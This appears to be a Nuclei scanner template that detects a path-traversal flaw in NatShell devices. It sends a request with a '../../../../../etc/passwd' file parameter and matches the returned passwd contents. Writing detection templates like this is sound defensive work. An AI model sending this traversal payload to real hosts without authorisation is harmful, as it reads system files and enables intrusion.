2021-05-17 08:14:20 +00:00
|
|
|
id: natshell-path-traversal
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: NatShell Path Traversal
|
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
|
|
|
reference: https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw
|
|
|
|
tags: natshell,lfi
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/download.php?file=../../../../../etc/passwd"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-05-17 14:19:24 +00:00
|
|
|
- "toor:[x*]:0:0"
|
2021-05-17 08:14:20 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|